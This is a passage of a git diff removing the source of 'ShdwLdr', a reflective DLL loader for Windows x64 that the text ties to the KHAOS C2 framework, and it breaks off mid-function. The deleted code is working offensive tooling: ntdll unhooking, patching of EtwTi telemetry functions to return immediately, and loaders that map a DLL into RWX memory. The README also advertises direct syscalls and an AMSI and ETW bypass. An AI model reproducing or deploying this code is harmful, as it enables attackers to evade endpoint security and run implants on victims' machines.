printf("[*] ntdll_patch_etw_ti(): EtwTi* exports not present on this build (normal on consumer SKUs)\n");
|
|
||||||
|
|
||||||
return clean ? 0 : 1;
|
|
||||||
}
|
|
||||||
@@ -1,124 +0,0 @@
|
|||||||
#include "ntdll_unhook.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* PoC note: uses GetModuleHandleA/GetProcAddress with plaintext strings.
|
|
||||||
* In production, replace with a PEB walk and encrypted string storage.
|
|
||||||
* See agent/src/evasion/evasion.c in KHAOS C2 for the hardened version.
|
|
||||||
*/
|
|
||||||
|
|
||||||
/* NtProtectVirtualMemory — used instead of VirtualProtect to avoid
|
|
||||||
* hooking the hook-removal function itself. */
|
|
||||||
typedef NTSTATUS (NTAPI *NtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
|
||||||
|
|
||||||
static NtPVM_t _get_ntpvm(void)
|
|
||||||
{
|
|
||||||
static NtPVM_t fn = NULL;
|
|
||||||
if (!fn)
|
|
||||||
fn = (NtPVM_t)(void *)GetProcAddress(
|
|
||||||
GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");
|
|
||||||
return fn;
|
|
||||||
}
|
|
||||||
|
|
||||||
static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
|
|
||||||
{
|
|
||||||
NtPVM_t fn = _get_ntpvm();
|
|
||||||
if (!fn) return FALSE;
|
|
||||||
PVOID base = addr;
|
|
||||||
SIZE_T rsz = sz;
|
|
||||||
ULONG _old = 0;
|
|
||||||
NTSTATUS st = fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
|
|
||||||
if (old) *old = (DWORD)_old;
|
|
||||||
return st == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int ntdll_unhook(void)
|
|
||||||
{
|
|
||||||
/* Build ntdll.dll path: GetSystemDirectoryW + \ntdll.dll */
|
|
||||||
WCHAR path[MAX_PATH];
|
|
||||||
UINT dir_len = GetSystemDirectoryW(path, MAX_PATH);
|
|
||||||
if (!dir_len || dir_len > MAX_PATH - 12) return -1;
|
|
||||||
|
|
||||||
const WCHAR suffix[] = {
|
|
||||||
L'\\',L'n',L't',L'd',L'l',L'l',L'.',L'd',L'l',L'l',L'\0'
|
|
||||||
};
|
|
||||||
for (int i = 0; suffix[i]; i++) path[dir_len + i] = suffix[i];
|
|
||||||
path[dir_len + 10] = L'\0';
|
|
||||||
|
|
||||||
/* Map ntdll from disk via SEC_IMAGE — kernel validates the PE,
|
|
||||||
* bypasses any filesystem filter hooks, gives us a clean image. */
|
|
||||||
HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
|
|
||||||
NULL, OPEN_EXISTING, 0, NULL);
|
|
||||||
if (hFile == INVALID_HANDLE_VALUE) return -1;
|
|
||||||
|
|
||||||
HANDLE hMap = CreateFileMappingW(hFile, NULL,
|
|
||||||
PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
|
|
||||||
CloseHandle(hFile);
|
|
||||||
if (!hMap) return -1;
|
|
||||||
|
|
||||||
LPVOID disk = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
|
|
||||||
CloseHandle(hMap);
|
|
||||||
if (!disk) return -1;
|
|
||||||
|
|
||||||
int rc = -1;
|
|
||||||
|
|
||||||
/* Get live ntdll base */
|
|
||||||
HMODULE live = GetModuleHandleA("ntdll.dll");
|
|
||||||
if (!live) goto cleanup;
|
|
||||||
|
|
||||||
/* Walk PE sections to find .text */
|
|
||||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)disk;
|
|
||||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup;
|
|
||||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)disk + dos->e_lfanew);
|
|
||||||
if (nt->Signature != IMAGE_NT_SIGNATURE) goto cleanup;
|
|
||||||
|
|
||||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
|
||||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
|
|
||||||
if (memcmp(sec->Name, ".text", 5) != 0) continue;
|
|
||||||
|
|
||||||
LPVOID live_text = (BYTE *)live + sec->VirtualAddress;
|
|
||||||
LPVOID disk_text = (BYTE *)disk + sec->VirtualAddress;
|
|
||||||
SIZE_T text_sz = sec->Misc.VirtualSize;
|
|
||||||
|
|
||||||
DWORD old;
|
|
||||||
if (!_nt_prot(live_text, text_sz, PAGE_EXECUTE_READWRITE, &old))
|
|
||||||
break;
|
|
||||||
memcpy(live_text, disk_text, text_sz);
|
|
||||||
_nt_prot(live_text, text_sz, old, &old);
|
|
||||||
rc = 0;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
cleanup:
|
|
||||||
UnmapViewOfFile(disk);
|
|
||||||
return rc;
|
|
||||||
}
|
|
||||||
|
|
||||||
int ntdll_patch_etw_ti(void)
|
|
||||||
{
|
|
||||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
|
||||||
if (!ntdll) return 0;
|
|
||||||
|
|
||||||
/* ETW-TI functions that report process/memory/handle activity to the
|
|
||||||
* kernel ETW provider — patching them suppresses cross-process telemetry. */
|
|
||||||
static const char *targets[] = {
|
|
||||||
"EtwTiLogOpenProcess",
|
|
||||||
"EtwTiLogReadWriteVm",
|
|
||||||
"EtwTiLogDuplicateHandle",
|
|
||||||
};
|
|
||||||
|
|
||||||
int patched = 0;
|
|
||||||
for (int i = 0; i < 3; i++) {
|
|
||||||
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, targets[i]);
|
|
||||||
if (!fn) continue;
|
|
||||||
|
|
||||||
DWORD old;
|
|
||||||
if (!_nt_prot(fn, 1, PAGE_EXECUTE_READWRITE, &old)) continue;
|
|
||||||
*fn = 0xC3; /* RET */
|
|
||||||
_nt_prot(fn, 1, old, &old);
|
|
||||||
patched++;
|
|
||||||
}
|
|
||||||
return patched;
|
|
||||||
}
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
build/
|
|
||||||
*.o
|
|
||||||
*.a
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
CC = x86_64-w64-mingw32-gcc
|
|
||||||
CFLAGS = -O2 -Wall -Wextra \
|
|
||||||
-Iinclude \
|
|
||||||
-fno-asynchronous-unwind-tables \
|
|
||||||
-fno-ident \
|
|
||||||
-fno-stack-protector
|
|
||||||
LDFLAGS = -Wl,--file-alignment,0x1000
|
|
||||||
|
|
||||||
DLL_SRC = src/reflect.c src/example_dll.c
|
|
||||||
EXE_SRC = examples/loader.c
|
|
||||||
DLL_OUT = build/example.dll
|
|
||||||
EXE_OUT = build/loader.exe
|
|
||||||
|
|
||||||
all: build $(DLL_OUT) $(EXE_OUT)
|
|
||||||
|
|
||||||
build:
|
|
||||||
mkdir -p build
|
|
||||||
|
|
||||||
$(DLL_OUT): $(DLL_SRC)
|
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -shared -o $@ $^
|
|
||||||
|
|
||||||
$(EXE_OUT): $(EXE_SRC)
|
|
||||||
$(CC) $(CFLAGS) -o $@ $^
|
|
||||||
|
|
||||||
clean:
|
|
||||||
rm -rf build
|
|
||||||
|
|
||||||
.PHONY: all clean
|
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
# ShdwLdr
|
|
||||||
|
|
||||||
Reflective DLL loader for Windows x64. Maps a raw DLL from memory without the Windows loader.
|
|
||||||
|
|
||||||
By 28Zaaky — [KHAOS C2](https://github.com/28Zaaky/khaos-c2)
|
|
||||||
|
|
||||||
## Techniques
|
|
||||||
|
|
||||||
- Hash-based API resolution (ROR13, no plaintext strings)
|
|
||||||
- Hell's Gate + Halos Gate + Tartarus Gate (direct syscalls, hooked stub recovery)
|
|
||||||
- Per-section permissions via `NtProtectVirtualMemory` syscall
|
|
||||||
- TLS callbacks + slot allocation before `DllMain`
|
|
||||||
- `RtlAddFunctionTable` for x64 SEH
|
|
||||||
- AMSI + ETW bypass
|
|
||||||
- Header erasure, security cookie init
|
|
||||||
|
|
||||||
## Build
|
|
||||||
|
|
||||||
```bash
|
|
||||||
x86_64-w64-mingw32-gcc -O2 -Iinclude -fno-asynchronous-unwind-tables \
|
|
||||||
-fno-ident -fno-stack-protector -Wl,--file-alignment,0x1000 \
|
|
||||||
-shared -o build/example.dll src/reflect.c src/example_dll.c
|
|
||||||
|
|
||||||
x86_64-w64-mingw32-gcc -O2 -Iinclude -fno-asynchronous-unwind-tables \
|
|
||||||
-fno-ident -fno-stack-protector -o build/loader.exe examples/loader.c
|
|
||||||
```
|
|
||||||
|
|
||||||
> `--file-alignment,0x1000` : `PointerToRawData == VirtualAddress` — required for RIP-relative access while running from the raw buffer.
|
|
||||||
|
|
||||||
## Usage
|
|
||||||
|
|
||||||
```c
|
|
||||||
uint8_t *mem = VirtualAlloc(NULL, sz, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
||||||
memcpy(mem, raw_dll, sz);
|
|
||||||
typedef ULONG_PTR (WINAPI *RL_t)(LPVOID);
|
|
||||||
ULONG_PTR base = ((RL_t)find_export(mem, "ReflectiveLoader"))(mem);
|
|
||||||
```
|
|
||||||
|
|
||||||
## Notes
|
|
||||||
|
|
||||||
- x64 only. No module list entry added.
|
|
||||||
- Module stomping disabled — `LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES)` calls `DllMain` on Win10+. Needs `NtMapViewOfSection`.
|
|
||||||
- `_rl_dbg` export contains runtime telemetry (SSNs, alloc method) — strip for production.
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,225 +0,0 @@
|
|||||||
// Example loader for the reflective DLL.
|
|
||||||
// It reads the raw DLL from disk, copies it into RWX memory,
|
|
||||||
// finds ReflectiveLoader in the raw image, and calls it.
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
// convert a raw RVA to a raw file offset
|
|
||||||
static DWORD rva_to_off(const uint8_t *buf, const IMAGE_NT_HEADERS *nt, DWORD rva)
|
|
||||||
{
|
|
||||||
const IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
|
||||||
WORD nsec = nt->FileHeader.NumberOfSections;
|
|
||||||
for (WORD i = 0; i < nsec; i++)
|
|
||||||
{
|
|
||||||
if (rva >= sec[i].VirtualAddress &&
|
|
||||||
rva < sec[i].VirtualAddress + sec[i].SizeOfRawData)
|
|
||||||
return rva - sec[i].VirtualAddress + sec[i].PointerToRawData;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
(void)buf;
|
|
||||||
}
|
|
||||||
|
|
||||||
// find an export in the raw DLL buffer and return the function address in memory
|
|
||||||
static LPVOID find_export_in_raw(const uint8_t *buf, size_t bufsz,
|
|
||||||
const uint8_t *mem, const char *name)
|
|
||||||
{
|
|
||||||
if (bufsz < sizeof(IMAGE_DOS_HEADER))
|
|
||||||
return NULL;
|
|
||||||
const IMAGE_DOS_HEADER *dos = (const IMAGE_DOS_HEADER *)buf;
|
|
||||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
const IMAGE_NT_HEADERS *nt = (const IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
|
|
||||||
if (nt->Signature != IMAGE_NT_SIGNATURE)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
DWORD expRva = nt->OptionalHeader
|
|
||||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
|
||||||
.VirtualAddress;
|
|
||||||
if (!expRva)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
DWORD expOff = rva_to_off(buf, nt, expRva);
|
|
||||||
if (!expOff)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
const IMAGE_EXPORT_DIRECTORY *exp = (const IMAGE_EXPORT_DIRECTORY *)(buf + expOff);
|
|
||||||
|
|
||||||
DWORD namesOff = rva_to_off(buf, nt, exp->AddressOfNames);
|
|
||||||
DWORD ordsOff = rva_to_off(buf, nt, exp->AddressOfNameOrdinals);
|
|
||||||
DWORD funcsOff = rva_to_off(buf, nt, exp->AddressOfFunctions);
|
|
||||||
if (!namesOff || !ordsOff || !funcsOff)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
DWORD *names = (DWORD *)(buf + namesOff);
|
|
||||||
WORD *ords = (WORD *)(buf + ordsOff);
|
|
||||||
DWORD *funcs = (DWORD *)(buf + funcsOff);
|
|
||||||
|
|
||||||
for (DWORD i = 0; i < exp->NumberOfNames; i++)
|
|
||||||
{
|
|
||||||
DWORD nameOff = rva_to_off(buf, nt, names[i]);
|
|
||||||
if (!nameOff)
|
|
||||||
continue;
|
|
||||||
const char *n = (const char *)(buf + nameOff);
|
|
||||||
if (strcmp(n, name) == 0)
|
|
||||||
{
|
|
||||||
DWORD fnRva = funcs[ords[i]];
|
|
||||||
DWORD fnOff = rva_to_off(buf, nt, fnRva);
|
|
||||||
return fnOff ? (LPVOID)(mem + fnOff) : NULL;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
// read the raw DLL file into memory
|
|
||||||
static uint8_t *read_file(const char *path, size_t *out_size)
|
|
||||||
{
|
|
||||||
HANDLE hf = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
|
|
||||||
NULL, OPEN_EXISTING, 0, NULL);
|
|
||||||
if (hf == INVALID_HANDLE_VALUE)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
DWORD sz = GetFileSize(hf, NULL);
|
|
||||||
if (sz == INVALID_FILE_SIZE || sz == 0)
|
|
||||||
{
|
|
||||||
CloseHandle(hf);
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
uint8_t *b = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, sz);
|
|
||||||
if (!b)
|
|
||||||
{
|
|
||||||
CloseHandle(hf);
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD rd;
|
|
||||||
if (!ReadFile(hf, b, sz, &rd, NULL) || rd != sz)
|
|
||||||
{
|
|
||||||
HeapFree(GetProcessHeap(), 0, b);
|
|
||||||
CloseHandle(hf);
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
CloseHandle(hf);
|
|
||||||
*out_size = sz;
|
|
||||||
return b;
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
char dll_path[MAX_PATH];
|
|
||||||
|
|
||||||
if (argc > 1)
|
|
||||||
{
|
|
||||||
strncpy(dll_path, argv[1], MAX_PATH - 1);
|
|
||||||
dll_path[MAX_PATH - 1] = '\0';
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
char exe_path[MAX_PATH];
|
|
||||||
DWORD len = GetModuleFileNameA(NULL, exe_path, MAX_PATH);
|
|
||||||
if (len == 0 || len >= MAX_PATH)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
// build default path in the same directory as loader.exe
|
|
||||||
char *sep = strrchr(exe_path, '\\');
|
|
||||||
if (sep)
|
|
||||||
*(sep + 1) = '\0';
|
|
||||||
else
|
|
||||||
exe_path[0] = '\0';
|
|
||||||
|
|
||||||
snprintf(dll_path, MAX_PATH, "%sexample.dll", exe_path);
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("[*] reading %s\n", dll_path);
|
|
||||||
size_t sz = 0;
|
|
||||||
uint8_t *buf = read_file(dll_path, &sz);
|
|
||||||
if (!buf)
|
|
||||||
{
|
|
||||||
fprintf(stderr, "[!] read failed (error %lu)\n", GetLastError());
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
printf("[+] %zu bytes read\n", sz);
|
|
||||||
|
|
||||||
// allocate RWX memory for the raw DLL image
|
|
||||||
uint8_t *mem = (uint8_t *)VirtualAlloc(NULL, sz,
|
|
||||||
MEM_RESERVE | MEM_COMMIT,
|
|
||||||
PAGE_EXECUTE_READWRITE);
|
|
||||||
if (!mem)
|
|
||||||
{
|
|
||||||
fprintf(stderr, "[!] VirtualAlloc failed (%lu)\n", GetLastError());
|
|
||||||
HeapFree(GetProcessHeap(), 0, buf);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
memcpy(mem, buf, sz);
|
|
||||||
printf("[+] raw DLL at %p (RWX, %zu bytes)\n", (void *)mem, sz);
|
|
||||||
|
|
||||||
// locate ReflectiveLoader in the raw image and call it
|
|
||||||
typedef ULONG_PTR(WINAPI *RL_t)(LPVOID);
|
|
||||||
RL_t fn = (RL_t)find_export_in_raw(buf, sz, mem, "ReflectiveLoader");
|
|
||||||
HeapFree(GetProcessHeap(), 0, buf);
|
|
||||||
|
|
||||||
if (!fn)
|
|
||||||
{
|
|
||||||
fprintf(stderr, "[!] ReflectiveLoader export not found\n");
|
|
||||||
VirtualFree(mem, 0, MEM_RELEASE);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
printf("[+] ReflectiveLoader at %p\n", (void *)fn);
|
|
||||||
|
|
||||||
printf("[*] calling ReflectiveLoader...\n");
|
|
||||||
ULONG_PTR base = fn(mem);
|
|
||||||
if (!base)
|
|
||||||
{
|
|
||||||
fprintf(stderr, "[!] ReflectiveLoader returned 0\n");
|
|
||||||
VirtualFree(mem, 0, MEM_RELEASE);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
printf("[+] DLL mapped at 0x%llx\n", (unsigned long long)base);
|
|
||||||
|
|
||||||
// read debug telemetry written into mem[] by ReflectiveLoader before section copy
|
|
||||||
typedef struct { uint16_t ssn_alloc; uint16_t ssn_protect; uint32_t alloc_method; } RL_DBG;
|
|
||||||
RL_DBG *dbg = (RL_DBG *)find_export_in_raw(mem, sz, mem, "_rl_dbg");
|
|
||||||
if (dbg)
|
|
||||||
{
|
|
||||||
const char *method = dbg->alloc_method == 1 ? "Hell's Gate (NtAllocateVirtualMemory syscall)"
|
|
||||||
: dbg->alloc_method == 2 ? "VirtualAlloc (fallback)"
|
|
||||||
: "unknown";
|
|
||||||
printf("[*] alloc method : %s\n", method);
|
|
||||||
if (dbg->ssn_alloc != 0xFFFF)
|
|
||||||
printf("[*] ssn NtAllocateVirtualMemory : 0x%04x\n", dbg->ssn_alloc);
|
|
||||||
else
|
|
||||||
printf("[*] ssn NtAllocateVirtualMemory : not found (ntdll hooked?)\n");
|
|
||||||
if (dbg->ssn_protect != 0xFFFF)
|
|
||||||
printf("[*] ssn NtProtectVirtualMemory : 0x%04x\n", dbg->ssn_protect);
|
|
||||||
else
|
|
||||||
printf("[*] ssn NtProtectVirtualMemory : not found (ntdll hooked?)\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
// check if the marker file was created
|
|
||||||
char marker[MAX_PATH];
|
|
||||||
DWORD n = GetEnvironmentVariableA("TEMP", marker, MAX_PATH - 20);
|
|
||||||
if (n && n < MAX_PATH - 20)
|
|
||||||
{
|
|
||||||
// DllMain marker
|
|
||||||
const char *s = "\\reflect_demo.txt";
|
|
||||||
int i = 0;
|
|
||||||
for (i = 0; s[i]; i++) marker[n + i] = s[i];
|
|
||||||
marker[n + i] = '\0';
|
|
||||||
printf("[%c] DllMain marker : %s\n",
|
|
||||||
GetFileAttributesA(marker) != INVALID_FILE_ATTRIBUTES ? '+' : '!', marker);
|
|
||||||
|
|
||||||
// TLS callback marker
|
|
||||||
s = "\\reflect_tls.txt";
|
|
||||||
for (i = 0; s[i]; i++) marker[n + i] = s[i];
|
|
||||||
marker[n + i] = '\0';
|
|
||||||
printf("[%c] TLS callback : %s\n",
|
|
||||||
GetFileAttributesA(marker) != INVALID_FILE_ATTRIBUTES ? '+' : '!', marker);
|
|
||||||
}
|
|
||||||
|
|
||||||
VirtualFree(mem, 0, MEM_RELEASE);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
// Exported entry point for the reflective DLL.
|
|
||||||
// lpParameter is the raw image base in the target process.
|
|
||||||
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
|
|
||||||
@@ -1,283 +0,0 @@
|
|||||||
// debug_loader.c: a verbose step-by-step version of ReflectiveLoader.
|
|
||||||
// This program runs with normal IAT resolution and prints each stage.
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
// case-insensitive compare for ascii strings
|
|
||||||
static int _eq(const char *a, const char *b)
|
|
||||||
{
|
|
||||||
while (*a && *b && (*a | 0x20) == (*b | 0x20))
|
|
||||||
{
|
|
||||||
a++;
|
|
||||||
b++;
|
|
||||||
}
|
|
||||||
return !*a && !*b;
|
|
||||||
}
|
|
||||||
|
|
||||||
// compare wide string and ascii string for n characters
|
|
||||||
static int _weq(const WCHAR *w, const char *s, int n)
|
|
||||||
{
|
|
||||||
for (int i = 0; i < n; i++)
|
|
||||||
{
|
|
||||||
if (!w[i] && !s[i])
|
|
||||||
return 1;
|
|
||||||
if (!w[i] || !s[i])
|
|
||||||
return 0;
|
|
||||||
if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20))
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
static uint8_t *buf = NULL;
|
|
||||||
static size_t bufsz = 0;
|
|
||||||
|
|
||||||
// convert a raw RVA into a file offset inside the raw buffer
|
|
||||||
static DWORD rva2off(DWORD rva)
|
|
||||||
{
|
|
||||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)buf;
|
|
||||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
|
|
||||||
IMAGE_SECTION_HEADER *s = IMAGE_FIRST_SECTION(nt);
|
|
||||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, s++)
|
|
||||||
{
|
|
||||||
if (rva >= s->VirtualAddress && rva < s->VirtualAddress + s->SizeOfRawData)
|
|
||||||
return rva - s->VirtualAddress + s->PointerToRawData;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// read an entire file into memory
|
|
||||||
static uint8_t *read_file(const char *path, size_t *out)
|
|
||||||
{
|
|
||||||
HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
|
||||||
if (h == INVALID_HANDLE_VALUE)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
DWORD sz = GetFileSize(h, NULL);
|
|
||||||
uint8_t *b = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, sz);
|
|
||||||
DWORD rd;
|
|
||||||
ReadFile(h, b, sz, &rd, NULL);
|
|
||||||
CloseHandle(h);
|
|
||||||
*out = sz;
|
|
||||||
return b;
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
const char *path = argc > 1 ? argv[1] : "build\\example.dll";
|
|
||||||
|
|
||||||
printf("[*] reading %s\n", path);
|
|
||||||
buf = read_file(path, &bufsz);
|
|
||||||
if (!buf)
|
|
||||||
{
|
|
||||||
fprintf(stderr, "[!] read failed %lu\n", GetLastError());
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
printf("[+] %zu bytes\n", bufsz);
|
|
||||||
|
|
||||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)buf;
|
|
||||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(buf + dos->e_lfanew);
|
|
||||||
printf("[+] ImageBase=0x%llx SizeOfImage=0x%lx SizeOfHeaders=0x%lx\n",
|
|
||||||
(unsigned long long)nt->OptionalHeader.ImageBase,
|
|
||||||
(unsigned long)nt->OptionalHeader.SizeOfImage,
|
|
||||||
(unsigned long)nt->OptionalHeader.SizeOfHeaders);
|
|
||||||
|
|
||||||
// STEP 1: find ReflectiveLoader export in the raw file
|
|
||||||
DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
||||||
DWORD expOff = rva2off(expRva);
|
|
||||||
if (!expOff)
|
|
||||||
{
|
|
||||||
fprintf(stderr, "[!] no export dir\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(buf + expOff);
|
|
||||||
DWORD *names = (DWORD *)(buf + rva2off(exp->AddressOfNames));
|
|
||||||
WORD *ords = (WORD *)(buf + rva2off(exp->AddressOfNameOrdinals));
|
|
||||||
DWORD *funcs = (DWORD *)(buf + rva2off(exp->AddressOfFunctions));
|
|
||||||
|
|
||||||
DWORD rl_rva = 0;
|
|
||||||
for (DWORD i = 0; i < exp->NumberOfNames; i++)
|
|
||||||
{
|
|
||||||
const char *n = (const char *)(buf + rva2off(names[i]));
|
|
||||||
if (strcmp(n, "ReflectiveLoader") == 0)
|
|
||||||
{
|
|
||||||
rl_rva = funcs[ords[i]];
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD rl_off = rva2off(rl_rva);
|
|
||||||
printf("[+] ReflectiveLoader: RVA=0x%lx rawOff=0x%lx\n", (unsigned long)rl_rva, (unsigned long)rl_off);
|
|
||||||
|
|
||||||
// STEP 2: copy the raw DLL into RWX memory
|
|
||||||
uint8_t *mem = (uint8_t *)VirtualAlloc(NULL, bufsz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
||||||
memcpy(mem, buf, bufsz);
|
|
||||||
printf("[+] raw copy at %p\n", (void *)mem);
|
|
||||||
|
|
||||||
// STEP 3: print section info
|
|
||||||
printf("[*] sections:\n");
|
|
||||||
IMAGE_NT_HEADERS *mnt = (IMAGE_NT_HEADERS *)(mem + dos->e_lfanew);
|
|
||||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(mnt);
|
|
||||||
for (WORD i = 0; i < mnt->FileHeader.NumberOfSections; i++, sec++)
|
|
||||||
{
|
|
||||||
char name[9] = {0};
|
|
||||||
memcpy(name, sec->Name, 8);
|
|
||||||
printf(" [%d] %-8s VA=0x%08lx raw=0x%08lx sz=0x%lx\n", i, name,
|
|
||||||
(unsigned long)sec->VirtualAddress,
|
|
||||||
(unsigned long)sec->PointerToRawData,
|
|
||||||
(unsigned long)sec->SizeOfRawData);
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 4: simulate finding the module base from the function address
|
|
||||||
ULONG_PTR fn_addr = (ULONG_PTR)(mem + rl_off);
|
|
||||||
ULONG_PTR scan = fn_addr & ~0xFFFUL;
|
|
||||||
int found_mz = 0;
|
|
||||||
ULONG_PTR found_base = 0;
|
|
||||||
for (int i = 0; i < 4096; i++, scan -= 0x1000)
|
|
||||||
{
|
|
||||||
if (!IsBadReadPtr((void *)scan, 2) && *(WORD *)scan == 0x5A4D)
|
|
||||||
{
|
|
||||||
IMAGE_DOS_HEADER *d = (IMAGE_DOS_HEADER *)scan;
|
|
||||||
if ((ULONG_PTR)d->e_lfanew <= 0x400)
|
|
||||||
{
|
|
||||||
IMAGE_NT_HEADERS *n2 = (IMAGE_NT_HEADERS *)(scan + d->e_lfanew);
|
|
||||||
if (n2->Signature == 0x00004550 && n2->OptionalHeader.SizeOfImage > 0)
|
|
||||||
{
|
|
||||||
found_base = scan;
|
|
||||||
found_mz = 1;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
printf("[+] _rl_find_own_base scan: found=%d base=0x%llx expected=0x%llx %s\n",
|
|
||||||
found_mz,
|
|
||||||
(unsigned long long)found_base,
|
|
||||||
(unsigned long long)(uintptr_t)mem,
|
|
||||||
(found_base == (ULONG_PTR)mem) ? "OK" : "MISMATCH");
|
|
||||||
|
|
||||||
// STEP 5: allocate memory for the mapped image
|
|
||||||
DWORD imgSz = nt->OptionalHeader.SizeOfImage;
|
|
||||||
uint8_t *dst = (uint8_t *)VirtualAlloc(NULL, imgSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
||||||
printf("[+] dst alloc: %p (0x%lx bytes)\n", (void *)dst, (unsigned long)imgSz);
|
|
||||||
|
|
||||||
// STEP 6: copy headers from the raw file to the mapped image
|
|
||||||
memcpy(dst, mem, nt->OptionalHeader.SizeOfHeaders);
|
|
||||||
printf("[+] headers copied\n");
|
|
||||||
|
|
||||||
// STEP 7: copy each section from raw file to its virtual address
|
|
||||||
IMAGE_NT_HEADERS *snt = (IMAGE_NT_HEADERS *)(mem + dos->e_lfanew);
|
|
||||||
sec = IMAGE_FIRST_SECTION(snt);
|
|
||||||
for (WORD i = 0; i < snt->FileHeader.NumberOfSections; i++, sec++)
|
|
||||||
{
|
|
||||||
if (!sec->PointerToRawData || !sec->SizeOfRawData)
|
|
||||||
continue;
|
|
||||||
uint8_t *ss = mem + sec->PointerToRawData;
|
|
||||||
uint8_t *dd = dst + sec->VirtualAddress;
|
|
||||||
if (sec->VirtualAddress + sec->SizeOfRawData > imgSz)
|
|
||||||
{
|
|
||||||
